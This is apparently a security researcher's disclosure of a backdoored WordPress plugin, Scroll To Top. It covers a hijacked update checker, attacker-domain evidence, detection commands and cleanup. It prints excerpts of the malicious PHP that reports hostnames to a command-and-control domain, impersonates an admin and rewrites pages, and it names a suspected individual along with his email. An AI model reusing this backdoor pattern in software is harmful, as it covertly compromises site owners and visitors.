I know you’ve heard this before however I’ve caught another plugin with a backdoor on wordpress.org. The plugin is Scroll To Top, slug scroll-top, with 20,000 active installs. The wordpress.org Plugin Review Team closed it and shipped a clean 1.5.6 within 1 day of my report. That release reaches sites that pull updates from wordpress.org. Unfortunately the 20,000 installs already running the side-channel version do not pull from wordpress.org. They poll updates.cdnstaticsync.com on cron and will never see the cleanup on their own.
If your site has scroll-top installed, the cleanup is one command.
closed, so wp plugin install scroll-top will not resolve. The 1.5.6 zip is still served directly from downloads.wordpress.org. Delete the side-channel copy on disk and reinstall from the official zip:wp plugin install https://downloads.wordpress.org/plugin/scroll-top.1.5.6.zip --activate --force
updates.cdnstaticsync.com, a domain registered nine days before the plugin’s last wordpress.org commit. The endpoint is live and advertising a 1.5.5 release that wordpress.org has never seen.Here’s how I found it.
I added a new detection rule to WP Beacon, a tool I’ve been building. The rule looks for plugins on wordpress.org that register their own update source. Every plugin doing this has, by definition, chosen to bypass the official update channel. Most are benign (a premium sibling updates from the vendor). Sometimes it is the anadnet pattern.
I ran it against the top 2,000 plugins on wordpress.org. Four hits. Three benign. One live.
The live hit is Scroll To Top.
Scroll To Top, slug scroll-top, 20,000 active installs. Current version 1.5.3. On line 42 of the main plugin file:
use YahnisElsts\PluginUpdateChecker\v5\PucFactory;
$UpdateChecker = PucFactory::buildUpdateChecker(
'https://updates.cdnstaticsync.com/updates/?action=get_metadata&slug=scroll-top',
__FILE__,
'scroll-top'
);
Two things matter here. The slug argument on line three is scroll-top, the same as the plugin’s wordpress.org slug. And the URL on line two points at updates.cdnstaticsync.com, which is not a domain wordpress.org operates.
When a plugin on wordpress.org registers an update checker pointing at its own wordpress.org slug but a non-wordpress.org URL, it is overriding its own update channel. Every install polls the non-wordpress.org endpoint on cron. Whatever that endpoint advertises as the “current version” becomes what WordPress installs at the next update check. The wordpress.org Plugin Review Team signed off on the version that contained this call. Nobody signs off on what the URL serves.
What cdnstaticsync.com is serving today.
I queried the metadata endpoint with a plain curl against the URL hardcoded in scroll-top 1.5.3:
GET https://updates.cdnstaticsync.com/updates/?action=get_metadata&slug=scroll-top
{
"name": "Scroll To Top",
"version": "1.5.5",
"homepage": "https://github.com/gasatrya/scroll-top",
"author": "Ga Satrya",
"requires_php": "7.2",
"requires": "5.6",
"tested": "6.4",
"last_updated": "2024-02-25 15:23:22",
"slug": "scroll-top",
"download_url": "http://updates.cdnstaticsync.com/updates/?action=download&slug=scroll-top"
}
wordpress.org lists the current version was 1.5.3. The side channel advertises 1.5.5. Every install of 1.5.3 has been stealthy upgraded to 1.5.5 on its next update check. The wordpress.org active-install count of 20,000, along with the fact this has been sitting for years, means that at least 20,000 installs are now running the tampered 1.5.5, not the 1.5.3 that wordpress.org ships.
I downloaded the 1.5.5 zip and compared it to the 1.5.3 zip from wordpress.org. Every file is byte-identical except four:
$ diff -rq wporg/scroll-top cdn/scroll-top
Only in cdn/scroll-top/inc: class-scroll-top-content-updater.php (new, 236 lines)
Only in cdn/scroll-top/inc: class-scroll-top-logs.php (new, 21 lines)
Files wporg/scroll-top/readme.txt and cdn/scroll-top/readme.txt differ
Files wporg/scroll-top/scroll-top.php and cdn/scroll-top/scroll-top.php differ
The readme diff is a single line (Stable tag: 1.5.3 → 1.5.5). The main plugin file diff is the version bump plus two require_once lines loading the new classes. No existing code was modified. The backdoor is purely additive.
The content-updater class.
inc/class-scroll-top-content-updater.php. 236 lines. It registers a daily cron, a wp_loaded handler, and a ?gimme=updates query-string trigger. Every day (or on demand from any internet caller), it does this:
private $api_url = 'https://edge.cdnstaticsync.com/bro/3';
public function get_updates() {
$site_url = parse_url( get_home_url() )['host'];
$response = $this->request( "{$this->api_url}/$site_url" );
$json = json_decode( $response, true );
foreach ( $json as $update ) {
$url = trim( $update['url'], '/' );
$old_content_start = $update['start'];
$new_content = $update['newContent'];
$page_id = url_to_postid( $url );
// Elementor path: impersonate the site's first admin, rewrite the doc
if ( $is_built_with_elementor ) {
$users = rest_do_request( new WP_REST_Request( 'GET', '/wp/v2/users' ) )
->get_data();
wp_set_current_user( $users[0]['id'] );
$result = $document->save( /* rewritten element tree */ );
} else {
$result = wp_update_post( array(
'ID' => $page_id,
'post_content' => $content,
) );
}
}
}
The attacker posts the victim’s hostname to https://edge.cdnstaticsync.com/bro/3/<hostname>. The response is a JSON list of page URLs and attacker-supplied replacement content. The plugin rewrites every target page’s post_content via wp_update_post. For Elementor pages, it loads the document model, walks the element tree recursively, grabs the first admin user via the REST API, impersonates them with wp_set_current_user, and saves the rewritten document to bypass Elementor’s capability check.
The C2 curl call disables SSL verification entirely (CURLOPT_SSL_VERIFYPEER => false and CURLOPT_SSL_VERIFYHOST => false), which means the attacker can redirect or MITM the channel without the plugin noticing. The ?gimme=updates public trigger on any URL is not rate-limited and requires no auth.
Digging through the SVN log.
wordpress.org keeps every plugin under SVN with full commit history. Every change any author has ever made is publicly visible. The scroll-top log is short. Between the Add async javascript release in September 2022 and today, two commits are load-bearing.
Committer: satrya. Commit message: modify author.
Committer: satrya. Commit message: Creating tag for version 1.5.3.
Between r2999765 and today, there have been zero commits on wordpress.org trunk. The backdoor code has been frozen in place for two years and five months. All ongoing activity has been on cdnstaticsync.com.
The key evidence is buried in a WordPress.org support thread.
An unrelated XSS report was filed on one of satrya‘s other plugins, smart-recent-posts-widget, in May 2024. Seven months into the scroll-top backdoor being live. The thread escalated when the original plugin author himself replied. Here is the relevant exchange, condensed and cited to the original post IDs:
Ga Satrya posting from his real identity on @gasatrya confirms on wordpress.org’s own support forum that he sold the plugin to someone else in 2023 and no longer has access to it. That account matches his GitHub profile (github.com/gasatrya, created 2011), his blog (ctaflow.com, a landing-page business for home service companies), and his stated location (Bandung, Indonesia).
Two posts later, someone named Benjamin replies. From a different wordpress.org account, @milkitall, created 2023-10-29 with no prior activity pointing at his own GitHub for the patch.
A third post then appears, also signed Ga Satrya, but from yet another wordpress.org handle, @satrya, marked on the forum as Plugin Author.
There are two wordpress.org accounts both calling themselves Ga Satrya.
Display name: Ga Satrya. The account Ga Satrya posts from on the forum. Says he no longer has access to his old plugins.
Display name: Ga Satrya. The account with SVN push access. Still marked “Plugin Author” across all four widget plugins. The account that pushed r2999765, the backdoor commit, on 2023-11-21.
The @satrya account’s credentials were transferred with the plugin sale. The display name was left as “Ga Satrya” on wordpress.org because wordpress.org does not require account transfers to be formally registered and because changing the display name would have raised questions. Every commit after October 2023 attributed to satrya is the buyer pushing code through the inherited account.
This is the transfer pattern that the anadnet case taught us to watch for. Except anadnet transitioned the plugin and the account together in 2015 and sat on it for years before striking. Benjamin acquired scroll-top sometime in 2023, registered @milkitall on wordpress.org on 2023-10-29, and shipped the backdoor seventeen days later.
Who Benjamin is.
On wordpress.org he is @milkitall, display name Benjamin. The account has no plugin authorship of its own. It has one forum reply, one contributor listing (scroll-top), and a default gravatar. It was created on 2023-10-29.
The GitHub link in his forum post — github.com/tombenj/smart-recent-posts-widget — points to a user named tombenj, display name Benjamin. Created 2011. 17 public repositories.
Four of tombenj’s repos are private mirrors of plugins that were published on wordpress.org under the @satrya account:
tombenj/scroll-top 2018-05-13 → 2022-09-30
tombenj/smart-recent-posts-widget 2024-07-28 (tombenj directly committed)
tombenj/comments-widget-plus 2022-10-17
tombenj/advanced-random-posts-widget 2021-08-26
Every one of these repositories was originally seeded from satrya’s own code (same commit hashes, same author names on historical commits). The July 2024 commit on tombenj/smart-recent-posts-widget is the only one authored by tombenj himself. The commit author email is tomgolan@gmail.com.
The rest of tombenj’s public GitHub activity runs to infrastructure forks you do not usually see alongside WordPress plugins. A fork of Polymarket’s CTF Exchange. A fork of the Solana blockchain core. A fork of the XMRig Monero CPU miner. A fork of the UMA CTF adapter. A fork of HuggingFace AutoTrain. nanoGPT, hebrew_bible_ai.
I am not going to claim to know what Benjamin’s endgame is. But the combination of WordPress plugins with content-injection capability plus crypto prediction-market and miner forks is a plausible monetization path for stored XSS on 20,000 websites.
The domain tells the same story.
I looked up RDAP for cdnstaticsync.com:
registration: 2023-11-12T12:40:56Z
registrar: Internet Domain Service BS Corp (Panama, privacy-mask)
nameservers: KURT.NS.CLOUDFLARE.COM, ROXY.NS.CLOUDFLARE.COM
subdomains: updates.cdnstaticsync.com (update metadata + download)
edge.cdnstaticsync.com (content injection C2)
The domain was registered nine days before the backdoor tag on wordpress.org. @milkitall had created his wordpress.org account fourteen days before the domain was registered. This was a coordinated sequence, not an incidental one.
The full timeline.
What 20,000 backdoored sites actually means.
Benjamin has two primitives wired up on every install.
The first is the one he is using. Daily cron, phones home to edge.cdnstaticsync.com/bro/3/<hostname>, rewrites post_content or Elementor documents to whatever the response contains. Stored XSS primitive on any theme that doesn’t wp_kses_post the content output. Persistent DB writes that survive plugin uninstall. Daily cadence.
The second is the one he hasn’t pulled yet. He controls the download_url served by updates.cdnstaticsync.com. At any moment he can replace the 1.5.5 zip with a zip containing eval($_POST['c']) or a webshell. The next wp-cron update check across every install (≤12 hours per site) will download the new zip. WordPress’s own auto-update mechanism installs it with full plugin-author filesystem permissions. One zip swap. ~20,000 sites. No wordpress.org involvement. No forensic trail on wordpress.org.
Three more plugins under the same account.
The wordpress.org account @satrya — which Benjamin now operates — is still listed as Plugin Author on three other plugins, which means he has SVN push access to all three. A second push to any of them is a single SVN transaction away.
Ga Satrya’s 2024-06-13 forum reply confirms smart-recent-posts-widget was “acquired last year” too. The other two have not been publicly acknowledged as transferred, but the SVN committer on record for all three is the same @satrya account Benjamin now operates. Forty-one thousand combined active installs sitting under his SVN push access.
How to check for this on a fleet.
Two fleet-level detections. Pick whichever you run.
The first is wp plugin verify-checksums. WP-CLI reads the version from the plugin header, fetches the canonical file hashes from wordpress.org, and compares them against what’s on disk. On a side-channel install the version in the header is 1.5.5, which wordpress.org has no checksums for. WP-CLI surfaces that as Could not retrieve the checksums for scroll-top 1.5.5. The version itself does not exist on the canonical source. That alone is the finding.
wp plugin verify-checksums scroll-top
The second is a direct grep for the C2 class name on disk:
find . -path '*/scroll-top/inc/class-scroll-top-content-updater.php' \
-exec grep -l 'cdnstaticsync' {} \;
Either test on a clean install returns nothing. On a backdoored install, both return a match.
There is still a cleanup that only Benjamin can run.
wordpress.org closed the directory entry and shipped 1.5.6. That release reaches sites that pull updates from wordpress.org. The 20,000 installs already running side-channel 1.5.5 do not pull from wordpress.org. They poll updates.cdnstaticsync.com on cron and will keep polling that endpoint until someone changes what it serves.
One person controls that endpoint.
Benjamin (@milkitall / tombenj), if you are reading this.
You acquired scroll-top from Ga Satrya sometime in 2023. Ga Satrya has publicly said so on wordpress.org’s own forum. You registered cdnstaticsync.com on November 12, 2023. You shipped tag 1.5.3 nine days later through the SVN account that came with the sale. You have been serving a tampered 1.5.5 from the update endpoint since February 2024 to 20,000 active sites.
Here is how this ends cleanly.
Serve a new JSON at the URL the plugin is polling. Keep the format. Match wordpress.org’s release exactly:
{
"name": "Scroll To Top",
"slug": "scroll-top",
"version": "1.5.6",
"homepage": "https://wordpress.org/plugins/scroll-top/",
"download_url": "https://downloads.wordpress.org/plugin/scroll-top.1.5.6.zip",
"requires": "5.6",
"tested": "6.4",
"last_updated": "2026-04-26 00:00:00",
"sections": {
"changelog": "Cleanup release. Removes the embedded update-checker and the content-updater library. Future updates flow through wordpress.org."
}
}
The plugin’s own update library does the rest. Every install of 1.5.5 hits its next update check, fetches your new JSON, sees 1.5.6 advertised, downloads the wordpress.org 1.5.6 zip, and installs it over the existing files. The PUC hook is gone. The content-updater class is gone. The cron unschedules itself because the class file is no longer loaded. Twenty thousand sites clean within a few weeks.
There is nothing to trust about you beyond publishing a JSON and leaving it alone. Anyone can audit the zip URL. Anyone can confirm the download_url resolves to what it says.
If you do that, your name goes on the cleanup, not just on the attack. Twenty thousand sites get clean code without anyone needing to log into them.
If you do not, those 20,000 websites stay backdoored until each operator manually intervenes. wordpress.org has no path to reach them. The cleanup command at the top of this post is the manual path. Most operators will never run it because most operators do not know.
Your move.
Why I built WP Beacon.
A few weeks ago I finished the anadnet writeup and sat with the fact that the plugin I’d investigated had been live on wordpress.org for five years, with a full-source backdoor in its repository, and nobody had caught it. Not wordpress.org. Not Patchstack. Not WPScan. Not me, until an alert on an unrelated plugin drift caused me to look.
Plugin vulnerabilities have dashboards and trackers and feeds. Plugin supply-chain attacks do not. The thing that caught anadnet was a grep across our fleet for w.anadnet.com after the fact. That’s not a detection system. That’s an autopsy.
So I started building WP Beacon. The scope: pull every plugin’s metadata, commit history, author information, and release zip into one database. Run detection rules against the whole corpus, not against individual sites. Surface the structural patterns of supply-chain compromise: ownership transitions, committer takeovers, declawed backdoors, update-checker hijacks, domains registered days before releases. Flag the ones that light up.
A lot of the building happens with Claude Code. I am a single developer working on this alongside running a managed WordPress hosting company. Claude wrote most of the detection rules and the SVN crawler and the database schema, then I refined what it proposed, tested it against known-bad plugins like anadnet’s, and iterated. Claude and I also wrote the PUC detection rule that caught this one yesterday. I want to be direct about that: this finding would not have surfaced without that collaboration, and the tooling exists because one pairing of one developer and one AI agent decided the supply-chain blind spot on wordpress.org was worth addressing.
wordpress.org’s Plugin Review Team does serious work and catches a lot. What they can’t catch is a plugin that behaves like itself until the update endpoint on an attacker-owned domain starts serving a different zip. The review was valid when it was done. The review is not valid for what the plugin fetches at runtime from a domain the reviewer can never see. That gap is what WP Beacon is for.
The rest of you: uninstall scroll-top, and run wp plugin verify-checksums on your fleet. That one command would have caught this, and anadnet, before either of them.